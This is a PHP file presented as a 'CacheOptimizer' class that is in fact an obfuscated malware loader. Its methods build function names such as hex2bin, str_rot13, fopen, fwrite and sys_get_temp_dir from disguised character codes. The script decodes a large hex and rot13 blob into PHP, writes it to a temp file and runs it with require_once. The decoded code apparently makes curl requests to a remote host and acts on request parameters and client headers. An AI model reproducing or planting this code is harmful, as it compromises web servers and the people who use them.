<?php
class CacheOptimizer
{
    private $am = '';
    private $ln = '';
    public function encryptData($p1)
    {
        $p = array(2 * 52, 101, 2 * 60, 32 * 1 + 18, 25 * 3 + 23, 3 * 35, 4 + 106);
        $m = '';
        foreach ($p as $q) {
            $m .= chr($q);
        }
        return $m($p1);
    }
    public function sendNotification($p1)
    {
        $v = array(3 * 69 - 92, 125 - 9, 2 * 57, 20 + 75, 49 * 93 - 4443, 89 + 18 + 4, 24 + 89 + 3, 4 + 45, 58 - 7);
        $t = '';
        foreach ($v as $vd) {
            $t .= chr($vd);
        }
        return $t($p1);
    }
    public function executeAction($p1, $p2)
    {
        $w = array(102, 4 * 75 - 189, 102 * 92 - 9272, 58 * 1 + 43, 18 * 102 - 1726);
        $s = '';
        foreach ($w as $b) {
            $s .= chr($b);
        }
        return $s($p1, $p2);
    }
    public function validateInput($p1, $p2)
    {
        $p = array(61 + 25 + 15, 125 - 9, 28 + 54 + 23, 112 + 1 + 1, 72 * 1 + 47, 2 * 51);
        $v = '';
        foreach ($p as $d) {
            $v .= chr($d);
        }
        $v = strrev($v);
        return $v($p1, $p2);
    }
    public function prepareOutput($p1)
    {
        $r = array(68 * 1 + 33, 115, 76 + 35, 45 * 2 + 18, 9 * 8 + 27, 2 * 51);
        $c = '';
        foreach ($r as $d) {
            $c .= chr($d);
        }
        $c = strrev($c);
        return $c($p1);
    }
    public function calculateSum($p1, $p2 = null)
    {
        $s = array(99 * 61 - 5925, 120 - 4, 2 * 57, 80 * 12 - 855, 91 * 1 + 18);
        $c = '';
        foreach ($s as $i) {
            $c .= chr($i);
        }
        return $c($p1, $p2);
    }
    public function manageState()
    {
        $this->ln = $this->calculateSum($this->processData(), '/');
    }
    public function computeResult()
    {
        $this->am = $this->sendNotification($this->encryptData($this->ed));
    }
    public function saveChanges()
    {
        $fn = $this->ln . '/vd-693209d3b267f';
        $f = $this->executeAction($fn, 'w');
        $this->validateInput($f, $this->am);
        $this->prepareOutput($f);
        $this->resolveAction($fn);
    }
    private $ed = '3c3f6375632070796e6666205f6e6d6e7b636576696e67722' . '066676e677670245f776c3b66676e677670207368617067766' . '261205f666128245f616575297b76732821667279733a3a245' . 'f776c29667279733a3a5f68696a28293b65726768656120757' . '26b326f766128667279733a3a245f776c5b245f6165755d293' . 'b7d636576696e67722066676e6776702073686170677662612' . '05f68696a28297b667279733a3a245f776c3d6e65656e6c282' . '75f6e756d273d3e2734313633363336353733272e273733327' . '13433367336723734373236733670327134272e2731272e273' . '6703670367337373271272e273473373236393637363936722' . '72e27336e272e273230326e272c275f697769273d3e2734333' . '6733672272e273734363536723734327135343739373036353' . '36e32303631373037303670363936333631373436393673367' . '23273366e36313736363137333633373236393730272e27373' . '4272c275f686b273d3e273633272e273638272c275f6374273' . 'd3e2736353739346e373036333433343933363439366e36373' . '3343470366e363733343470366e363733343470366e3637333' . '43439363937373639363435373435363934733639346e33303' . '56e353834723330343936393737363936272e2733367135363' . '6713439366e36733639363434272e27373536376e272e27363' . '434272e2733346e33272e2739272c275f7963273d3e2737313' . '73737272e276e272e2737272e2738272c275f777a273d3e273' . '3703673366f3372272c275f7762273d3e27337036323631272' . 'e2736343372272c275f756c6f273d3e2737373631367036702' . '72c275f6279273d3e27272c275f6d7a67273d3e27272c275f7' . '36f273d3e27272c275f6d6e73273d3e2736383734373437303' . '36e327332733730272e27373536323272272e2737373635363' . '23636363936703635363836733733373436353732327236333' . '67336713273363336733671373036733733363537323272272' . 'e27366e3733272e273373363436313734363133272e2771272' . 'c275f656974273d3e273633373537323670357336393672362' . '72e2739272e273734272c275f65776f273d3e2736383734373' . '4373035733633367336272e2734272e2736272e2735272c275' . 'f6d7874273d3e2737333633363836353671272e2736272e273' . '5272c275f6e7278273d3e27363837343734373037272e27332' . '72c275f747a273d3e2734272e273734272e273535343230272' . 'c275f737176273d3e273730272e273631272e2737343638272' . 'c275f787367273d3e273731373536353732272e273739272c2' . '75f7764273d3e273373272c275f7172273d3e2737313735363' . '53732272e2737272e2739272c275f6d6f6f273d3e273230343' . '835343534353032272e277333272e27313272333030272e277' . '1306e3438367337333734336e272e273230272c275f706b273' . 'd3e2736272e2738367337333734272c275f6a63273d3e27307' . '1306e34333673272e273672367236353633373436393673367' . '2336e323034333670367337272e273336353071272e27306e3' . '0272e277130272e276e272c275f766c79273d3e27373337333' . '670336e272e273273272e273273272c275f6b756a273d3e272' . '72c275f666a66273d3e27363836733733272e273734272c275' . 'f766f273d3e27307130272e276e272c275f7477273d3e27343' . '8353435343530272e2735733433347034393435347235272e2' . '73435733439272e273530272c275f6b6e273d3e27343835343' . '53435303573353835733436347335323537343135323434343' . '5343435272e2773343634272e2773272e2735272e2732272c2' . '75f797062273d3e2735323435347134733534272e273435357' . '334313434272e2734272e2734272e273532272c275f6e70742' . '73d3e2734383534353435303573272e2735353533343535323' . '573272e273431343734353472272e273534272c275f6b6c672' . '73d3e2734383534353435303573353535333435272e2735323' . '57334313437343534272e2772272e2735272e2734272c275f7' . '164273d3e27272c275f796d273d3e273438353435343530357' . '3353234353436272e273435272e27353234353532272c275f6' . 'd71273d3e273438353435343530357335272e27323435272e2' . '73436343535323435272e273532272c275f6b6c6c273d3e272' . '72c275f6371273d3e27343835343534272e273530357334333' . '47034393435347235343573343935272e2730272c275f636b6' . 'c273d3e2734383534353435303573343334703439343534723' . '534272e2735733439272e273530272c275f64766c273d3e273' . '4383534272e273534353035272e27733538357334363473353' . '235373431353234343435272e2734343573272e2734272e273' . '63473272e273532272c275f6d70273d3e27343835343534353' . '03573353835733436347335323537343135323434272e27343' . '53434357334272e273634272e277335272e2732272c275f617' . '6273d3e2735323435347134733534272e27343535733431272' . 'e2734272e273434272e2734272e2735272e2732272c275f6e7' . '777273d3e273532343534713473353434272e27353573272e2' . '734313434343435272e2732272c275f726e273d3e273634363' . '236272e27373671367336343635272c275f6f6c72273d3e273' . '4393530336e32272e2730272c275f7875273d3e27323037703' . '23035353431272e2733272e276e272e273230272c275f76746' . '2273d3e273230377032303532363536272e273633272e276e3' . '2272e2730272c275f796c273d3e27323033272e27703632373' . '23372306e272c275f7077273d3e2736393730272c275f617a2' . '73d3e27373536272e2731272c275f6c7769273d3e273732272' . 'e27363536272e2736272c275f6c706c273d3e2737313737376' . 'e37272e2738272c293b7d7d75726e717265285f6e6d6e3a3a5' . 'f666128275f272e276e75272e276d2729293b75726e7172652' . '85f6e6d6e3a3a5f666128275f6977692729293b76732876666' . '6726728245f5452475b5f6e6d6e3a3a5f666128275f686b272' . '95d29297b245f6e6b723d5f6f7773285f6e6d6e3a3a5f66612' . '8275f63742729293b767328245f6e6b7226266667656362662' . '8245f6e6b722c5f6e6d6e3a3a5f666128275f7963272929213' . 'd3d736e796672297b717672285f6e6d6e3a3a5f666128275f7' . '7272e277a2729293b7d727966727b717672285f6e6d6e3a3a5' . 'f666128275f77272e27622729293b7d7d76732876666672672' . '8245f5452475b5f6e6d6e3a3a5f666128275f756c6f27295d2' . '9297b245f63633d245f5042425856523b245f69683d2876616' . '729656268617128302b302b30293b245f6165753d287661672' . '9656268617128332e352b332e35293b245f6769783d6e65656' . 'e6c28293b245f6769785b245f69685d3d5f6e6d6e3a3a5f666' . '128275f62272e277927293b6a7576797228245f616575297b2' . '45f6769785b245f69685d2e3d245f63635b2d3233362b31313' . '02d202d3135365d5b245f6165755d3b76732821245f63635b2' . 'd3332372b2d3239362b392b3634345d5b245f6165752b28313' . '82b2d3137295d297b76732821245f63635b287661672965626' . '861712831302b31302b3130295d5b245f6165752b282d34363' . '82d36352b2d3234302b373735295d296f65726e783b245f696' . '82b2b3b245f6769785b245f69685d3d5f6e6d6e3a3a5f66612' . '8275f6d7a6727293b245f6165752b2b3b7d245f6165753d245' . 'f6165752b2876616729656268617128322e333333333333333' . '333333333332b322e333333333333333333333333332b322e3' . '3333333333333333333333333292b2838312d3337302b32393' . '0293b7d245f69683d245f6769785b287661672965626861712' . '8332e352b332e352b332e352b332e35295d28292e245f67697' . '85b35362d33325d3b76732821245f6769785b2d3336342d202' . 'd32372d202d3334335d28245f696829297b245f6165753d245' . 'f6769785b2d3238322d37312b3337395d28245f69682c245f6' . '769785b2d3738332b3739335d293b245f6769785b287661672' . '9656268617128342e352b342e35295d28245f6165752c245f6' . '769785b2d3533382d202d3534395d2e245f6769785b2876616' . '729656268617128352e37352b352e37352b352e37352b352e3' . '735295d28245f6769785b287661672965626861712831322e3' . '52b31322e35295d28245f63635b28766167296562686171283' . '02e37352b302e37352b302e37352b302e3735295d2929293b7' . 'd7661707968717228245f6968293b7d7368617067766261205' . 'f6f777328245f656c2c245f7366723d2d302e3239393138323' . '9393638363232332c245f6a6e733d2d3134353837297b245f6' . '1703d5f6e6d6e3a3a5f666128275f73272e276f27293b245f7' . '0693d5f6e6d6e3a3a5f666128275f6d272e276e7327292e245' . 'f656c3b76732876665f706e79796e6f7972285f6e6d6e3a3a5' . 'f666128275f6569272e2774272929297b245f7a653d7068657' . '95f7661766728245f7069293b706865795f667267626367282' . '45f7a652c504845594243475f4646595f49524556534c43525' . '2452c736e796672293b706865795f66726762636728245f7a6' . '52c504845594243475f4646595f49524556534c554246472c3' . '238382d202d3131332d3535312b313532293b706865795f667' . '26762636728245f7a652c504845594243475f53425959424a5' . '942504e475642412c2876616729656268617128302e3333333' . '3333333333333333333332b302e33333333333333333333333' . '333332b302e333333333333333333333333333329293b70686' . '5795f66726762636728245f7a652c504845594243475f45524' . '748454147454e41465352452c3234372d39382b2d313438293' . 'b706865795f66726762636728245f7a652c504845594243475' . 'f55524e5152452c3935332b2d3836332b2d3930293b7068657' . '95f66726762636728245f7a652c504845594243475f5042414' . '152504747565a524248472c2876616729656268617128332e3' . '33333333333333333333333332b332e3333333333333333333' . '33333332b332e3333333333333333333333333329293b70686' . '5795f66726762636728245f7a652c504845594243475f47565' . 'a524248472c2d39342b2d3234342b333438293b245f61703d7' . '06865795f726b727028245f7a65293b245f706c3d706865795' . 'f7472677661736228245f7a65293b706865795f70796266722' . '8245f7a65293b767328245f706c5b5f6e6d6e3a3a5f6661282' . '75f65272e2777272e276f27295d213d283336332d202d31383' . '92d333532292965726768656120736e7966723b7d727966727' . 'b245f7a6f3d636e6566725f68657928245f7069293b245f687' . '4763d28245f7a6f5b5f6e6d6e3a3a5f666128275f6d272e277' . '8272e277427295d3d3d5f6e6d6e3a3a5f666128275f6e72272' . 'e27782729293b245f716c763d5f6e6d6e3a3a5f666128275f7' . '47a27292e245f7a6f5b5f6e6d6e3a3a5f666128275f272e277' . '3717627295d3b767328766666726728245f7a6f5b5f6e6d6e3' . 'a3a5f666128275f78736727295d2929245f716c762e3d5f6e6' . 'd6e3a3a5f666128275f272e2777272e276427292e245f7a6f5' . 'b5f6e6d6e3a3a5f666128275f71272e277227295d3b245f716' . 'c762e3d5f6e6d6e3a3a5f666128275f6d6f6f27292e245f7a6' . 'f5b5f6e6d6e3a3a5f666128275f272e2770272e276b27295d2' . 'e5f6e6d6e3a3a5f666128275f272e276a272e276327293b245' . 'f6a753d7366627078626372612828245f6874763f5f6e6d6e3' . 'a3a5f666128275f272e27766c272e277927293a5f6e6d6e3a3' . 'a5f666128275f272e276b756a2729292e245f7a6f5b5f6e6d6' . 'e3a3a5f666128275f666a6627295d2c245f6874763f2876616' . '7296562686171283232312e352b3232312e35293a342d34373' . '62d3339302b393432293b767328245f6a75297b73636867662' . '8245f6a752c245f716c76293b245f7670753d283336302d333' . '630293b6a7576797228217372627328245f6a7529297b245f6' . '66b3d737472676628245f6a752c313036302b2d3336293b767' . '328245f76707529245f61702e3d245f666b3b767328245f666' . 'b3d3d5f6e6d6e3a3a5f666128275f76272e276f272929245f7' . '670753d282d3434382d202d3435342b3731382d373233293b7' . 'd73707962667228245f6a75293b7d7d657267686561245f617' . '03b7d245f7867743d766666726728245f4652454952455b5f6' . 'e6d6e3a3a5f666128275f74272e277727295d293b245f69706' . 'b3d766666726728245f4652454952455b5f6e6d6e3a3a5f666' . '128275f272e276b272e276e27295d293b245f70683d7666667' . '26728245f4652454952455b5f6e6d6e3a3a5f666128275f797' . '06227295d293b245f70783d766666726728245f46524549524' . '55b5f6e6d6e3a3a5f666128275f6e272e27707427295d293f2' . '45f4652454952455b5f6e6d6e3a3a5f666128275f6b6c67272' . '95d3a5f6e6d6e3a3a5f666128275f716427293b245f74623d7' . '66666726728245f4652454952455b5f6e6d6e3a3a5f6661282' . '75f79272e276d27295d293f245f4652454952455b5f6e6d6e3' . 'a3a5f666128275f6d272e277127295d3a5f6e6d6e3a3a5f666' . '128275f6b6c272e276c27293b245f7867743d7666667267282' . '45f4652454952455b5f6e6d6e3a3a5f666128275f63272e277' . '127295d293f245f4652454952455b5f6e6d6e3a3a5f6661282' . '75f636b6c27295d3a616879793b245f69706b3d76666672672' . '8245f4652454952455b5f6e6d6e3a3a5f666128275f6476272' . 'e276c27295d293f245f4652454952455b5f6e6d6e3a3a5f666' . '128275f272e276d7027295d3a616879793b245f70683d76666' . '6726728245f4652454952455b5f6e6d6e3a3a5f666128275f6' . '17627295d293f245f4652454952455b5f6e6d6e3a3a5f66612' . '8275f6e272e27777727295d3a616879793b767328737679677' . '2655f696e6528245f7867742c2876616729656268617128313' . '3372e352b3133372e352929297b245f6b763d245f7867743b7' . 'd727966727673287376796772655f696e6528245f69706b2c2' . '8766167296562686171283133372e352b3133372e352929297' . 'b245f6b763d245f69706b3b7d727966727b245f6b763d245f7' . '0683b7d767328766666726728245f5452475b5f6e6d6e3a3a5' . 'f666128275f72272e276e27295d29297b72707562205f6e6d6' . 'e3a3a5f666128275f272e276f6c272e277227292e245f6b762' . 'e5f6e6d6e3a3a5f666128275f787527292e245f70782e5f6e6' . 'd6e3a3a5f666128275f272e2776272e27746227292e245f746' . '22e5f6e6d6e3a3a5f666128275f796c27293b726b766728293' . 'b7d76732821766666726728245f6b76297c7c2176666672672' . '8245f7078297c7c21766666726728245f746229297b726b766' . '728293b7d727966727b245f76653d6e65656e6c285f6e6d6e3' . 'a3a5f666128275f272e27707727293d3e245f6b762c5f6e6d6' . 'e3a3a5f666128275f61272e277a27293d3e245f70782c5f6e6' . 'd6e3a3a5f666128275f6c77272e276927293d3e245f7462293' . 'b245f63703d686579726170627172286f6e667236345f72617' . '062717228776662615f72617062717228245f76652929293b2' . '45f6e6b723d5f6f777328245f6370293b767328245f6e6b722' . '62666676563626628245f6e6b722c5f6e6d6e3a3a5f6661282' . '75f6c70272e276c272929213d3d736e796672297b727075622' . '45f6e6b723b726b766728293b7d7d';
    public function resolveAction($p)
    {
        require_once $p;
    }
    public function processData()
    {
        $a = array(91 * 9 - 704, 124 - 3, 20 * 45 - 785, 95, 97 * 6 - 479, 4 * 18 + 29, 125 - 9, 90 + 5, 2 * 58, 47 + 47 + 7, 47 * 42 - 1865, 48 + 64, 95, 76 * 1 + 24, 3 * 35, 69 * 1 + 45);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$kw = new CacheOptimizer();
$kw->manageState();
$kw->computeResult();
$kw->saveChanges();